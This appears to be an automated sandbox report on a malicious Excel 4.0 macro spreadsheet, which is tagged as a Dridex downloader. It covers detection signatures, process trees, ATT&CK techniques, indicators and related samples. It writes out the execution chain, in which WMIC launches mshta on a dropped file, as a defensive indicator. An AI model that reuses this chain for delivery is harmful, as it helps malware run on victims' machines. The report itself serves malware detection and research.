Found Excel 4.0 Macro with suspicious formulas

Show sources

Source: promo code83874071.xlsb

Initial sample: EXEC

Found protected and hidden Excel 4.0 Macro sheet

Show sources

Source: promo code83874071.xlsb

Initial sample: Sheet name: Macro1

Contains functionality to create processes via WMI

Show sources

Source: WMIC.exe, 0000000A.00000002.426370126.0000000003120000.00000004.00000020.sdmp

Binary or memory string: C:\Users\user\Documents\C:\Windows\SysWOW64\Wbem\wmic.exewmic process call create "mshta C:\ProgramData\MqscKrfE.rtf"C:\Windows\System32\Wbem\wmic.exeWinSta0\Defaultt

Found obfuscated Excel 4.0 Macro

Show sources

Source: promo code83874071.xlsb

Macro extractor: Sheet: Macro1 high usage of CHAR() function: 59

Source: promo code83874071.xlsb

Macro extractor: Sheet name: Macro1

Source: C:\Windows\System32\mshta.exe

Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\OUTLOOK.EXE

Source: promo code83874071.xlsb

Virustotal: Detection: 10%

Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CA

Source: unknown	Process created: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE "C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE" /automation -Embedding
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process created: C:\Windows\SysWOW64\wbem\WMIC.exe wmic process call create "mshta C:\ProgramData\MqscKrfE.rtf"
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\System32\mshta.exe mshta C:\ProgramData\MqscKrfE.rtf
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process created: C:\Windows\SysWOW64\wbem\WMIC.exe wmic process call create "mshta C:\ProgramData\MqscKrfE.rtf"

Source: C:\Windows\SysWOW64\wbem\WMIC.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}\InprocServer32

Source: C:\Windows\System32\conhost.exe

Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5192:120:WilError_01

Source: C:\Windows\SysWOW64\wbem\WMIC.exe

WMI Queries: IWbemServices::ExecMethod - ROOT\CIMV2 : Win32_Process::Create

Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Microsoft\Office\16.0\WebServiceCache

Jump to behavior

Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Temp\{5CA0BA77-A4EC-4E24-B085-82B329046A36} - OProcSessId.dat

Jump to behavior

Source: classification engine

Classification label: mal92.troj.expl.evad.winXLSB@5/6@0/1

Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Windows\System32\mshta.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Settings

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: promo code83874071.xlsb	Initial sample: OLE zip file path = xl/media/image2.png
Source: promo code83874071.xlsb	Initial sample: OLE zip file path = xl/media/image1.png
Source: promo code83874071.xlsb	Initial sample: OLE zip file path = docProps/custom.xml

Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\LanguageResources\EnabledEditingLanguages

Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE

File opened: C:\Windows\SysWOW64\MSVCR100.dll

Persistence and Installation Behavior:

Creates processes via WMI

Show sources

Source: C:\Windows\SysWOW64\wbem\WMIC.exe

WMI Queries: IWbemServices::ExecMethod - ROOT\CIMV2 : Win32_Process::Create

Hooking and other Techniques for Hiding and Protection:

Creates and opens a fake document (probably a fake document to hide exploiting)

Show sources

Source: unknown	Process created: cmd line: mqsckrfe.rtf
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process created: cmd line: mqsckrfe.rtf

Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX

Source: Yara match

File source: app.xml, type: SAMPLE

Source: mshta.exe, 0000000C.00000002.580239625.000001F147FC0000.00000002.00020000.sdmp	Binary or memory string: Program Manager
Source: mshta.exe, 0000000C.00000002.580239625.000001F147FC0000.00000002.00020000.sdmp	Binary or memory string: Shell_TrayWnd
Source: mshta.exe, 0000000C.00000002.580239625.000001F147FC0000.00000002.00020000.sdmp	Binary or memory string: Progman
Source: mshta.exe, 0000000C.00000002.580239625.000001F147FC0000.00000002.00020000.sdmp	Binary or memory string: Progmanlock

Source: C:\Windows\System32\mshta.exe	Queries volume information: C:\Windows\Fonts\timesi.ttf VolumeInformation
Source: C:\Windows\System32\mshta.exe	Queries volume information: C:\Windows\Fonts\timesbd.ttf VolumeInformation
Source: C:\Windows\System32\mshta.exe	Queries volume information: C:\Windows\Fonts\timesbi.ttf VolumeInformation

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Windows Management Instrumentation21	Path Interception	Process Injection2	Masquerading1	OS Credential Dumping	Process Discovery1	Remote Services	Email Collection1	Exfiltration Over Other Network Medium	Non-Standard Port1	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Scripting3	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Process Injection2	LSASS Memory	File and Directory Discovery1	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	Junk Data	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	Exploitation for Client Execution31	Logon Script (Windows)	Logon Script (Windows)	Scripting3	Security Account Manager	System Information Discovery14	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	Steganography	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
promo code83874071.xlsb	10%	Virustotal		Browse

Dropped Files

No Antivirus matches

Unpacked PE Files

No Antivirus matches

Domains

No Antivirus matches

URLs

Source	Detection	Scanner	Label
https://roaming.edog.	0%	URL Reputation	safe
https://cdn.entity.	0%	URL Reputation	safe
https://powerlift.acompli.net	0%	URL Reputation	safe
https://rpsticket.partnerservices.getmicrosoftkey.com	0%	URL Reputation	safe
https://cortana.ai	0%	URL Reputation	safe
https://api.aadrm.com/	0%	URL Reputation	safe
https://ofcrecsvcapi-int.azurewebsites.net/	0%	URL Reputation	safe
https://augloop.office.com;https://augloop-int.officeppe.com;https://augloop-dogfood.officeppe.com;h	0%	Avira URL Cloud	safe
https://res.getmicrosoftkey.com/api/redemptionevents	0%	URL Reputation	safe
https://powerlift-frontdesk.acompli.net	0%	URL Reputation	safe
https://officeci.azurewebsites.net/api/	0%	URL Reputation	safe
https://store.office.cn/addinstemplate	0%	URL Reputation	safe
https://api.aadrm.com	0%	URL Reputation	safe
https://dev0-api.acompli.net/autodetect	0%	URL Reputation	safe
https://www.odwebp.svc.ms	0%	URL Reputation	safe
https://api.addins.store.officeppe.com/addinstemplate	0%	URL Reputation	safe
https://dataservice.o365filtering.com/	0%	URL Reputation	safe
https://officesetup.getmicrosoftkey.com	0%	URL Reputation	safe
https://prod-global-autodetect.acompli.net/autodetect	0%	URL Reputation	safe
https://ncus.contentsync.	0%	URL Reputation	safe
https://apis.live.net/v5.0/	0%	URL Reputation	safe
https://wus2.contentsync.	0%	URL Reputation	safe
https://asgsmsproxyapi.azurewebsites.net/	0%	URL Reputation	safe
https://dataservice.o365filtering.com/PolicySync/PolicySync.svc/SyncFile	0%	URL Reputation	safe
https://ncus.pagecontentsync.	0%	URL Reputation	safe
https://skyapi.live.net/Activity/	0%	URL Reputation	safe
https://dataservice.o365filtering.com	0%	URL Reputation	safe
https://api.cortana.ai	0%	URL Reputation	safe
https://ovisualuiapp.azurewebsites.net/pbiagave/	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

No contacted domains info

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://api.diagnosticssdf.office.com	83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	false		high
https://login.microsoftonline.com/	83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	false		high
https://shell.suite.office.com:1443	83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	false		high
https://login.windows.net/72f988bf-86f1-41af-91ab-2d7cd011db47/oauth2/authorize	83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	false		high
https://autodiscover-s.outlook.com/	83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	false		high
https://roaming.edog.	83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	false	URL Reputation: safe	unknown
https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Flickr	83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	false		high
https://cdn.entity.	83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	false	URL Reputation: safe	unknown
https://api.addins.omex.office.net/appinfo/query	83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	false		high
https://clients.config.office.net/user/v1.0/tenantassociationkey	83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	false		high
https://dev.virtualearth.net/REST/V1/GeospatialEndpoint/	83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	false		high
https://powerlift.acompli.net	83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	false	URL Reputation: safe	unknown
https://rpsticket.partnerservices.getmicrosoftkey.com	83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	false	URL Reputation: safe	unknown
https://lookup.onenote.com/lookup/geolocation/v1	83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	false		high
https://cortana.ai	83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	false	URL Reputation: safe	unknown
https://apc.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech	83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	false		high
https://cloudfiles.onenote.com/upload.aspx	83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	false		high
https://syncservice.protection.outlook.com/PolicySync/PolicySync.svc/SyncFile	83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	false		high
https://entitlement.diagnosticssdf.office.com	83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	false		high
https://na01.oscs.protection.outlook.com/api/SafeLinksApi/GetPolicy	83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	false		high
https://api.aadrm.com/	83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	false	URL Reputation: safe	unknown
https://ofcrecsvcapi-int.azurewebsites.net/	83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	false	URL Reputation: safe	unknown
https://dataservice.protection.outlook.com/PsorWebService/v1/ClientSyncFile/MipPolicies	83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	false		high
https://api.microsoftstream.com/api/	83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	false		high
https://insertmedia.bing.office.net/images/hosted?host=office&adlt=strict&hostType=Immersive	83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	false		high
https://cr.office.com	83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	false		high
https://augloop.office.com;https://augloop-int.officeppe.com;https://augloop-dogfood.officeppe.com;h	83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	false	Avira URL Cloud: safe	low
https://portal.office.com/account/?ref=ClientMeControl	83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	false		high
https://graph.ppe.windows.net	83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	false		high
https://res.getmicrosoftkey.com/api/redemptionevents	83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	false	URL Reputation: safe	unknown
https://powerlift-frontdesk.acompli.net	83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	false	URL Reputation: safe	unknown
https://tasks.office.com	83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	false		high
https://officeci.azurewebsites.net/api/	83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	false	URL Reputation: safe	unknown
https://sr.outlook.office.net/ws/speech/recognize/assistant/work	83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	false		high
https://store.office.cn/addinstemplate	83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	false	URL Reputation: safe	unknown
https://api.aadrm.com	83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	false	URL Reputation: safe	unknown
https://outlook.office.com/autosuggest/api/v1/init?cvid=	83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	false		high
https://globaldisco.crm.dynamics.com	83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	false		high
https://nam.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech	83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	false		high
https://dev0-api.acompli.net/autodetect	83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	false	URL Reputation: safe	unknown
https://www.odwebp.svc.ms	83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	false	URL Reputation: safe	unknown
https://api.powerbi.com/v1.0/myorg/groups	83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	false		high
https://web.microsoftstream.com/video/	83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	false		high
https://api.addins.store.officeppe.com/addinstemplate	83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	false	URL Reputation: safe	unknown
https://graph.windows.net	83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	false		high
https://dataservice.o365filtering.com/	83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	false	URL Reputation: safe	unknown
https://officesetup.getmicrosoftkey.com	83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	false	URL Reputation: safe	unknown
https://analysis.windows.net/powerbi/api	83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	false		high
https://prod-global-autodetect.acompli.net/autodetect	83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	false	URL Reputation: safe	unknown
https://outlook.office365.com/autodiscover/autodiscover.json	83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	false		high
https://powerpoint.uservoice.com/forums/288952-powerpoint-for-ipad-iphone-ios	83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	false		high
https://eur.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech	83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	false		high
https://pf.directory.live.com/profile/mine/System.ShortCircuitProfile.json	83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	false		high
https://ncus.contentsync.	83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	false	URL Reputation: safe	unknown
https://onedrive.live.com/about/download/?windows10SyncClientInstalled=false	83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	false		high
https://webdir.online.lync.com/autodiscover/autodiscoverservice.svc/root/	83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	false		high
http://weather.service.msn.com/data.aspx	83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	false		high
https://apis.live.net/v5.0/	83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	false	URL Reputation: safe	unknown
https://officemobile.uservoice.com/forums/929800-office-app-ios-and-ipad-asks	83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	false		high
https://word.uservoice.com/forums/304948-word-for-ipad-iphone-ios	83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	false		high
https://autodiscover-s.outlook.com/autodiscover/autodiscover.xml	83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	false		high
https://management.azure.com	83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	false		high
https://outlook.office365.com	83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	false		high
https://wus2.contentsync.	83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	false	URL Reputation: safe	unknown
https://incidents.diagnostics.office.com	83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	false		high
https://clients.config.office.net/user/v1.0/ios	83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	false		high
https://insertmedia.bing.office.net/odc/insertmedia	83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	false		high
https://o365auditrealtimeingestion.manage.office.com	83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	false		high
https://outlook.office365.com/api/v1.0/me/Activities	83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	false		high
https://api.office.net	83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	false		high
https://incidents.diagnosticssdf.office.com	83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	false		high
https://asgsmsproxyapi.azurewebsites.net/	83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	false	URL Reputation: safe	unknown
https://clients.config.office.net/user/v1.0/android/policies	83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	false		high
https://entitlement.diagnostics.office.com	83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	false		high
https://pf.directory.live.com/profile/mine/WLX.Profiles.IC.json	83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	false		high
https://substrate.office.com/search/api/v2/init	83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	false		high
https://outlook.office.com/	83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	false		high
https://storage.live.com/clientlogs/uploadlocation	83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	false		high
https://outlook.office365.com/	83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	false		high
https://webshell.suite.office.com	83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	false		high
https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=OneDrive	83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	false		high
https://substrate.office.com/search/api/v1/SearchHistory	83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	false		high
https://management.azure.com/	83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	false		high
https://login.windows.net/common/oauth2/authorize	83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	false		high
https://dataservice.o365filtering.com/PolicySync/PolicySync.svc/SyncFile	83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	false	URL Reputation: safe	unknown
https://graph.windows.net/	83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	false		high
https://api.powerbi.com/beta/myorg/imports	83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	false		high
https://devnull.onenote.com	83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	false		high
https://ncus.pagecontentsync.	83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	false	URL Reputation: safe	unknown
https://r4.res.office365.com/footprintconfig/v1.7/scripts/fpconfig.json	83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	false		high
https://messaging.office.com/	83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	false		high
https://dataservice.protection.outlook.com/PolicySync/PolicySync.svc/SyncFile	83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	false		high
https://augloop.office.com/v2	83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	false		high
https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Bing	83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	false		high
https://skyapi.live.net/Activity/	83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	false	URL Reputation: safe	unknown
https://clients.config.office.net/user/v1.0/mac	83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	false		high
https://dataservice.o365filtering.com	83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	false	URL Reputation: safe	unknown
https://api.cortana.ai	83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	false	URL Reputation: safe	unknown
https://onedrive.live.com	83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	false		high
https://ovisualuiapp.azurewebsites.net/pbiagave/	83AB67A7-816A-439D-B972-9539D466DB6C.0.dr	false	URL Reputation: safe	unknown

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
136.144.181.174	unknown	Netherlands		20857	TRANSIP-ASAmsterdamtheNetherlandsNL	false

General Information

Joe Sandbox Version:	34.0.0 Boulder Opal
Analysis ID:	528041
Start date:	24.11.2021
Start time:	17:52:16
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 5m 44s
Hypervisor based Inspection enabled:	false
Report type:	light
Sample file name:	promo code83874071.xlsb
Cookbook file name:	defaultwindowsofficecookbook.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Run name:	Potential for more IOCs and behavior
Number of analysed new started processes analysed:	20
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal92.troj.expl.evad.winXLSB@5/6@0/1
EGA Information:	Failed
HDC Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Adjust boot time Enable AMSI Found application associated with file extension: .xlsb Found Word or Excel or PowerPoint or XPS Viewer Attach to Office via COM Active AutoShape Object Active Picture Object Active Picture Object Scroll down Close Viewer
Warnings:	Show All Exclude process from analysis (whitelisted): MpCmdRun.exe, audiodg.exe, BackgroundTransferHost.exe, WMIADAP.exe, backgroundTaskHost.exe, conhost.exe, svchost.exe, wuapihost.exe Excluded IPs from analysis (whitelisted): 52.109.76.68, 52.109.8.24, 52.109.8.23 Excluded domains from analysis (whitelisted): ris.api.iris.microsoft.com, fs.microsoft.com, prod-w.nexus.live.com.akadns.net, config.officeapps.live.com, prod.configsvc1.live.com.akadns.net, ctldl.windowsupdate.com, nexus.officeapps.live.com, displaycatalog.mp.microsoft.com, officeclient.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, arc.msn.com, europe.configsvc1.live.com.akadns.net Not all processes where analyzed, report is missing behavior information Report size getting too big, too many NtOpenKeyEx calls found. Report size getting too big, too many NtProtectVirtualMemory calls found. Report size getting too big, too many NtQueryValueKey calls found. Report size getting too big, too many NtSetInformationFile calls found.

Simulations

Behavior and APIs

Time	Type	Description
17:59:04	API Interceptor	1x Sleep call for process: WMIC.exe modified
17:59:07	API Interceptor	1x Sleep call for process: mshta.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link
136.144.181.174	vote number3210109.xlsb	Get hash	malicious	Browse
	tax77567960.xlsb	Get hash	malicious	Browse
	hunting license-25331.xlsb	Get hash	malicious	Browse
	vote number3210109.xlsb	Get hash	malicious	Browse
	tax77567960.xlsb	Get hash	malicious	Browse
	subscription-84799.xlsb	Get hash	malicious	Browse
	hunting license-25331.xlsb	Get hash	malicious	Browse
	subscription-84799.xlsb	Get hash	malicious	Browse
	8993268.xlsb	Get hash	malicious	Browse
	promo 2352017.xlsb	Get hash	malicious	Browse
	8993268.xlsb	Get hash	malicious	Browse
	promo 2352017.xlsb	Get hash	malicious	Browse
	Offer 373466695.xlsb	Get hash	malicious	Browse
	Offer 373466695.xlsb	Get hash	malicious	Browse
	9049521.xlsb	Get hash	malicious	Browse
	9049521.xlsb	Get hash	malicious	Browse

Domains

No context

ASN

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
TRANSIP-ASAmsterdamtheNetherlandsNL	promo code83874071.xlsb	Get hash	malicious	Browse	136.144.181.174
	vote number3210109.xlsb	Get hash	malicious	Browse	136.144.181.174
	tax77567960.xlsb	Get hash	malicious	Browse	136.144.181.174
	hunting license-25331.xlsb	Get hash	malicious	Browse	136.144.181.174
	vote number3210109.xlsb	Get hash	malicious	Browse	136.144.181.174
	tax77567960.xlsb	Get hash	malicious	Browse	136.144.181.174
	subscription-84799.xlsb	Get hash	malicious	Browse	136.144.181.174
	hunting license-25331.xlsb	Get hash	malicious	Browse	136.144.181.174
	subscription-84799.xlsb	Get hash	malicious	Browse	136.144.181.174
	8993268.xlsb	Get hash	malicious	Browse	136.144.181.174
	promo 2352017.xlsb	Get hash	malicious	Browse	136.144.181.174
	8993268.xlsb	Get hash	malicious	Browse	136.144.181.174
	promo 2352017.xlsb	Get hash	malicious	Browse	136.144.181.174
	Offer 373466695.xlsb	Get hash	malicious	Browse	136.144.181.174
	Offer 373466695.xlsb	Get hash	malicious	Browse	136.144.181.174
	9049521.xlsb	Get hash	malicious	Browse	136.144.181.174
	9049521.xlsb	Get hash	malicious	Browse	136.144.181.174
	arm6-20211124-0649	Get hash	malicious	Browse	37.97.150.92
	4VsoRulf3z	Get hash	malicious	Browse	95.170.75.156
	3XVTeL2yOE	Get hash	malicious	Browse	95.170.75.177

JA3 Fingerprints

No context

Dropped Files

No context

Created / dropped Files

C:\ProgramData\MqscKrfE.rtf Download File
Process:	C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
File Type:	HTML document, ASCII text, with very long lines, with CRLF line terminators
Category:	dropped
Size (bytes):	4837
Entropy (8bit):	5.069907978358339
Encrypted:	false
SSDEEP:	96:EBFenMtYKBMmqwrSxxx+kBoZGogeR2WeJVpz2CHBk+FX/B:EBFeMtRBMmqw+xxgkBoZ2Cyp6CHBk+lp
MD5:	1CFF01224E36F917085D258D50118A8E
SHA1:	9F4DB0467D5733FBF5554D257804175587D4C9F5
SHA-256:	08C6AEE2C0D5C42B3E8E2DA43DB9F3775FE2DA95D8BCA17A42BC1F218E2C8A6F
SHA-512:	6349CBF791C0B60F1D60E75E7037F8A9E09FF17B3241A159753248E0E4D30D6830ABC0763F70AEF14A01433DF59812D41D6CA1F6B8ECB58DFF61B2B2AB97DC79
Malicious:	true
Yara Hits:	Rule: JoeSecurity_DridexDownloader, Description: Yara detected Dridex Downloader, Source: C:\ProgramData\MqscKrfE.rtf, Author: Joe Security
Reputation:	low
